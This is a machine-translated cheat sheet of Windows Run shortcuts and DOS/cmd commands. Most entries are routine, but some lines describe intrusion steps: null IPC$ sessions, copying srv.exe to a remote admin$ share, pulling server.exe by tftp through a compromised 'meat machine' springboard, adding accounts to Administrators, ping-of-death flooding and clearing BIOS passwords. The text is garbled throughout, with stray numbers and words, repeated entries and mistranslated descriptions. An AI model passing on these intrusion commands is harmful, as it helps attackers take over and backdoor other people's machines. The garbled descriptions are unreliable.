WIN+R directive

1. Gpedit.msc-----Group Policy

2. Sndrec32-------Recorder

3. Nslookup-------IP Address Detector is a command-line tool that monitors whether DNS servers in a network can correctly implement domain name resolution. It can be used in Windows NT/2000/XP, but it is not integrated in Windows 98.

4. Explorer-------Open Explorer

5. Logoff---------Logout command

6. Shutdown-------60 seconds Countdown shutdown command

7. Lusrmgr.msc----native Users and Groups

8. Services.msc---Local Service settings

9. oobe/msoobe/a----Check if XP is active

Notepad--------Open Notepad

cleanmgr-------Waste Finishing

Start Messenger Service----. Net start Messenger

Compmgmt.msc---Computer Management

. net stop Messenger-----Stop messenger Service

Conf-----------start NetMeeting

Dvdplay--------DVD Player

Charmap--------Start character mapping table

Diskmgmt.msc---Disk Management utility

Calc-----------Start-Up calculator

Dfrg.msc-------Disk Defragmenter

Chkdsk.exe-----CHKDSK disk Check

Devmgmt.msc---Device Manager

regsvr32/u *.dll----Stop DLL file run

DRWTSN32------System Doctor

Rononce-p----15-second shutdown

DxDiag---------Checking DirectX information

Regedt32-------Registry Editor

Msconfig.exe---System Configuration Utility

Rsop.msc.-------Group Policy Result set

Mem.exe--------Show Memory usage

Regedit.exe----Registration Form

Winchat--------XP comes with LAN chat

ProgMan--------Program Manager

WINMSD---------System Information

PERFMON.MSC----Computer Performance monitoring Program

Winver---------Check the Windows version

Sfc/scannow-----Scan Errors and recover

Taskmgr-----Task Manager (2000/xp/2003

Winver---------Check the Windows version

Wmimgmt.msc----Open Windows Management Architecture (WMI)

Wupdmgr--------Windows Update

wscript--------Windows Script Host Settings

. Write----------WordPad

WINMSD---------System Information

Wiaacmgr-------Scanner and Camera Wizard

Winchat--------XP comes with LAN chat

Mem.exe--------Show Memory usage

Msconfig.exe---System Configuration Utility

Mplayer2-------Easy widnows Media Player

MSPaint--------Drawing Board

Wuyi mstsc----------Remote Desktop Connection

Mplayer2-------Media Player

Magnify--------Magnifier Utility

The. MMC------------Open the console

Mobsync--------Synchronization Command

DxDiag---------Checking DirectX information

IExpress-------Trojan Bundle tool, System comes with 58. Fsmgmt.msc-----shared Folder Manager

Utilman--------Utility Manager

Diskmgmt.msc---Disk Management utility

DCOMCNFG-------Open System Component Services

DdeShare-------turn on DDE sharing settings

OSK------------Open the On-screen keyboard

ODBCAD32-------ODBC Data Source Administrator
oobe/msoobe/a----Check if XP is active 114. Logoff---------Logoff command

Notepad--------Open Notepad

Nslookup. Tool Wizard for-------Network management

. ntbackup-------system backup and restore

Narrator-------Screen Narrator

Ntmsmgr.msc----Mobile Storage Manager

Ntmsoprq.msc---Mobile Storage Administrator action Request

Netstat-an----(TC) command Check interface

Syncapp--------Create a Briefcase

Sysedit--------System Configuration Editor

Sigverif.-------File Signature Validator

CIADV.MSC------Indexing Service Program

SHRPUBW--------Create a shared folder

Secpol.msc-----Local Security Policy

SYSKEY---------System encryption, once encrypted can not be solved, to protect the Windows XP system dual Password

Services.msc---Local Service settings

Bayi. Sndvol32-------Volume Control program

Sfc.exe--------System File Checker

Sfc/scannow---Windows File Protection

CIADV.MSC------Indexing Service Program

Tourstart------XP profile (roaming XP programs that appear after installation is complete)

Taskmgr--------Task Manager

EVENTVWR-------Event Viewer

Eudcedit-------Character-font procedure

Compmgmt.msc---Computer Management

Packager-------Object Wrapping Program

PERFMON.MSC----Computer Performance monitoring Program

Charmap--------Start character mapping table

CLICONFG-------SQL SERVER Client Network Utility

94. CLIPBRD--------Clipboard Viewer

Conf-----------start NetMeeting

Certmgr.msc----Certificate Management Utility

regsvr32/u *.dll----Stop DLL file run

98. regsvr32/u zipfldr.dll------Cancel Zip support

Cmd.exe--------cmd command prompt

Chkdsk.exe-----CHKDSK disk Check
1. Disk operation,
Fdisk implicit parameter/mbr rebuild Master boot record fdisk/mbr rebuild master boot Record
Fdisk adds the/CMBR parameter after DOS7.0, which rebuilds the master boot record for the subsequent hard drive when multiple physical hard disks are hooked up, such as: Fdisk/cmbr 2, which overrides the master boot record for the second hard drive. (Be very careful when using, avoid the bad drive boot record damage)
Format parameter:/q Quick Format/u non-recoverable/autotest do not prompt/s to create MS-DOS boot disk format c:/q/u/autotest
2. Directory Operations
Dir [directory name or file name] [/s][/w][/p][/a] List directory parameter:/s find subdirectory/w only show file name/P page/a show hidden file DIR format.exe/s find Format.exe file for the disk and report location
MD (MKDIR) [directory name] Create directory MKDIR HELLOWORLD create HELLOWORLD Directory
CD (CHDIR) [directory name] PS: You can use relative directory or absolute directory to enter directory CD AA to enter the current folder under the AA directory, CD. Go to the previous folder CD \ Return to the root directory; CD C:\Windows into the C:\Windows folder
RD (RMDIR) [directory name] Delete Directory rd HELLOWORLD Delete HELLOWORLD directory
3. File operation
Delete directory and its files: rmdir [directory name or file name] [/s][/w][/p][/a]. Example RmDir c:\qqdownload/s Delete the Qqdownload directory for C-drives.
del [directory name or file name] [/f][/s][/q] Delete parameter:/F Delete read-only file/s delete the directory and all content under it Q/A does not confirm before deleting
Del c:\del/s/q automatically deletes the Del directory of the C drive.
copy [source file or directory] [target directory] copies files copy d:\pwin98\*.* c:\presetup Copies all the files of the D disk Pwin98 to the presetup of the C drive.
attrib [parameters] [source file or directory] File properties action command, attrib command can list or modify the properties of files on disk, file attributes include document (A), read-only (R), Hidden (H), System (S), for example: Attrib-h-r-s io.sys execute this command, will be the DOS system files Io.sys file read-only, hidden, system attributes are removed, this will be able to directly through the dir command to see the Io.sys file. attrib +h +r +s autoexec.bat will add the above attributes for the automatic batch file.
4. Memory operation
Debug Debugging Memory parameter-w [filename] write binary-o [address 1] [address 2] Output memory-Q exit Exp:o 10[return] O 71 01
[Return] 01[return] Q[return] DOS Change the value of the BIOS password in the corresponding location in the CMOS by writing 70H/71H Port to clear the award BIOS password. Debug can also crack the hard disk protection card, etc., However, it can only be used under pure DOS.
5. Partitioning operations
Partitioning a disk is typically divided into four partitions, which consist of a primary partition, an extended partition, and a logical partition.
Both PQ and Acronis disk Director can be used to resize partitions without losing data, as well as merge operations such as the XP system, where you use the PQ,WIN7 system to operate essentially the same way as Acronis disk director. can go online to find tutorials to see, do not re-install the system can adjust the size of the partition, but it is recommended that you back up the data and then adjust, after all, the direct operation of the hard disk is a certain risk.

NET use ipipc$ ""/user: "" to establish an IPC NULL link

NET use ipipc$ "password"/user: "username" establishes IPC non-null link

NET use h:ipc$ "password"/user: "User name" directly after the login map the other side C: to the local H:

NET use h:ipc$ to map the other side c: to Local H:

NET use ipipc$/del remove IPC links

NET use H:/del to delete mappings that map each other to local H:

NET user username password/add set up users

NET user Guest/active:yes activates the guest user

NET user to see which users are

NET user account name to view the properties of the account

net localgroup Administrators user name/add Add "user" to the administrator to have administrator privileges

net start to see which services are open

Net start service name (e.g.: net start Telnet, net start schedule)

NET stop service name stops a service

NET time destination IP to view the offset

NET time target Ip/set to set the local computer time to synchronize with the "Destination IP" host, plus the parameter/yes to cancel the confirmation message

NET view to see which shares are open within the local area network

NET view IP to see which shares are turned on in the other LAN

NET config display system network settings

NET logoff disconnected sharing

NET Pause Service name pauses a service

NET send IP "text message" to the other party to send messages

NET ver LAN network connection types and information that are in use

NET share viewing locally-enabled shares

NET share ipc$ turn on ipc$ sharing

NET share ipc$/del Delete ipc$ share

NET share C $/del removal of C. shared

NET user Guest 12345 log in with guest user and change password to 12345

NET password Password change system login password

Netstat-a See which ports are open, common Netstat-an

Netstat-n View Port network connectivity, common Netstat-an

Netstat-v viewing work in progress

NETSTAT-P protocol Name Example: Netstat-p tcq/ip view a protocol usage

Netstat-s View all protocol usage in use

Nbtstat-a IP 136 to 139 if one of the ports is open, you can see the name of the user who recently logged in.

Tracert-parameter IP (or computer name) trace route (packet), Parameter: "-W number" is used to set the time-out interval.

Ping IP (or domain name) sends the default size of 32 bytes of data to the host, parameter: "-l[space" packet size ";"-N Send data Number ";"-T "means to ping all the time.

PING-T-l 65550 ip death ping (send files larger than 64K and Ping is the ping of death)

Ipconfig (winipcfg) for Windows NT and XP (Windows 95 98) To view the local IP address, ipconfig the available parameters "/all" To display all configuration information

TLIST-T Displays the process as a tree list (additional tools for the system, which are not installed by default, within the Support/tools folder of the installation directory)

KILL-F process name plus-F parameter force end a process (additional tools for the system, default is not installed, in the Support/tools folder of the installation directory)

Del-f file name plus-f parameter can be deleted read-only files,/ar,/ah,/as,/AA respectively for the deletion of read-only, hidden, system, archive files,/a-r,/a-h,/a-s,/a-a means to delete files except read-only, hidden, system, archive. For example, "del/ar * *" means deleting all read-only files in the current directory, "Del/a-s * *" means deleting all files except system files in the current directory

DEL/S/q directory or use: rmdir/s/q directory/S to delete all subdirectories and files under directories and directories. Use the parameter/q at the same time to cancel the system confirmation when the delete operation is deleted directly. (two commands function the same)

Move drive letter path to move the file name of the files to be moved after moving the file name moved files, with the parameter/y will cancel to confirm that the mobile directory exists the same file prompt to overwrite directly

FC One.txt two.txt > 3st.txt compare two files and output the differences to the 3st.txt file, ">" and "> >" are redirect commands

At ID number to open a scheduled task that has already been registered

At/delete Stop all scheduled tasks, use parameter/yes to stop directly without confirmation

At ID number/delete stop a registered scheduled task

At View all scheduled tasks

At IP time program name (or a command)/R run the other program at some point and restart the computer

Finger username @host See which users have logged in recently

Telnet IP port far and landing server, default port is 23

Open IP connection to IP (after telnet login command)

Telnet directly on this computer telnet will enter the native Telnet

Copy path file name 1 path file name 2/y Copy the file 1 to the specified directory is file 2, with the parameter/y to cancel the confirmation you want to overwrite an existing directory file

Copy C:srv.exe ipadmin$ Copying the local c:srv.exe to the other side of the admin

Copy 1st.jpg/b+2st.txt/a 3st.jpg to hide 2st.txt content into 1st.jpg to generate 3st.jpg new file, Note: 2st.txt file header to empty three rows, parameters:/b refers to binary files,/a refers to the ASCLL format file

Copy ipadmin$svv.exe C: or: copyipadmin$*.* Copy the Srv.exe file (all files) under the admini$ share to local C:

xcopy to copy files or directory tree destination address directory name copy file and directory tree, with parameter/y will not prompt overwrite same file

Use the parameter/E to copy subdirectories under the directory together to the destination address.

Tftp-i own IP (using meat machine as a springboard when this with meat machine IP) Get Server.exec:server.exe login, the "IP" server.exe download to the target host C:server.exe parameters:-I refers to the binary mode of transmission, If the exe file is transferred, if not plus-I is transmitted in ASCII mode (transfer text file mode)

Tftp-i the other IP put C:server.exe login, upload the local c:server.exe to the host

The FTP IP port is used for uploading files to the server or for file operations, and the default port is 21. Bin refers to binary mode (executable file); The default is ASCII format (when text files are sent)

Route print shows the IP route, which will primarily display network address addres, subnet mask netmask, gateway address, Gateways Addres, interface address interface

ARP view and process ARP cache, ARP is the meaning of name resolution, is responsible for the resolution of an IP to a physical MAC address. ARP-A will show all the information

Start Program name or command/max or/min opens a new window and maximizes (minimizes) the running of a program or command

Mem View CPU Usage

attrib file name (directory name) to view the properties of a document (directory)

attrib file name-a-r-s-h or +a +r +s +h Remove (add) a file of the archive, read-only, system, hidden properties; + is added as a property

Dir view file, Parameters:/q Display file and directory belongs to the system which user,/T:C display file creation time,/t:a show the last time the file was accessed,/t:w last modified time

date/t, time/t using this parameter, "date/t", "time/t" will display only the current date and time without having to enter a new date and time

SET specifies the environment variable name = The character to assign to the variable set environment variable

Set shows all the current environment variables

Set P (or other character) displays all environment variables currently starting with the character P (or other characters)

Pause pauses the batch process and displays: Press any key to continue ....

If conditional processing is performed in a batch program (see the IF command and variable for more instructions)

Goto label directs cmd.exe to labeled rows in a batch program (labels must be on a separate line with a colon, for example: ": Start" tab)

The call path batch file name calls another batch program from the batch program (more instructions are shown in the calling/?)

For each file in a set of files, execute a specific command (see the for command and variable for more instructions)

echo on or off turns echo on or off, and the current ECHO setting is displayed only with echo without parameters

Echo information Displays information on the screen

echo Info >> pass.txt Saving "info" to a pass.txt file

findstr "Hello" aa.txt looking for string Hello in Aa.txt file

Find filename finds a file

Title Title name change cmd window title name

A color color value sets the cmd console foreground and background color; 0 = black, 1 = blue, 2 = green, 3 = Light green, 4 = red, 5= violet, 6 = yellow, 7 = white, 8 = Gray, 9 = blue, a= green, b= light aqua, c= red, d= light purple, e= yellow, f= bright white

Prompt name change cmd.exe display command prompt (change C:, D: Unified to: Entsky)

VER displays version information under a DOS window

Winver Pop-up window displays version information (memory size, system version, patch version, computer name)

Format drive letter/fs: Type formatted disk, type: FAT, FAT32, NTFS, Example: Format D:/fs:ntfs

MD Directory Name creation directory

Replace the file's directory replacement file to replace the source file

ren original filename new file name rename filename

Tree displays a table of contents, with parameter-F to list the file names in the first folder

Type file name Displays the contents of the text file

More file name display output file by screen

Doskey the command to lock = character

Doskey to unlock command = Lock command provided for DOS (Edit command line, Recall Win2K command, and create macro). such as: Lock dir command: Doskey Dir=entsky (cannot use Doskey dir=dir); Unlock: Doskey dir=

Taskmgr Bring up Task Manager

chkdsk/f d: Check disk D and Display status report, add parameter/F and Repair errors on disk

tlntadmn telnt service admn, type tlntadmn select 3, and then select 8, you can change the Telnet service default port 23 to any other port

Exit Cmd.exe program or currently, use the parameter/b to exit the current batch script instead of Cmd.exe

Path path The file name of the executable file is set to an executable file.

CMD launches a Win2K command Interpretation window. Parameters:/eff,/en Close, open command extension, more details see CMD/?

REGEDIT/S registry File name Import registry, parameters/s refers to quiet mode import, without any hint;

regedit/e registry File name Export Registry

The cacls filename parameter displays or modifies the File access control List (ACL)-when it is formatted for NTFS. Parameter:/d Username: Set deny user access;/p user name: Perm Replace the access rights of the specified user;/g user name: Perm gives the specified user access; Perm can be: N None, R read, W write, C Change (write), F Full Control; Example: cacls d:es T.TXT/D pub set D:est.txt deny pub user access.

cacls file name to view a list of Access user rights for files

REM text content add annotations to a batch file

Netsh view or change the configuration of the local network

                                                                                                                                                  by chaotic light and shadow

1311289155

WIN+R directive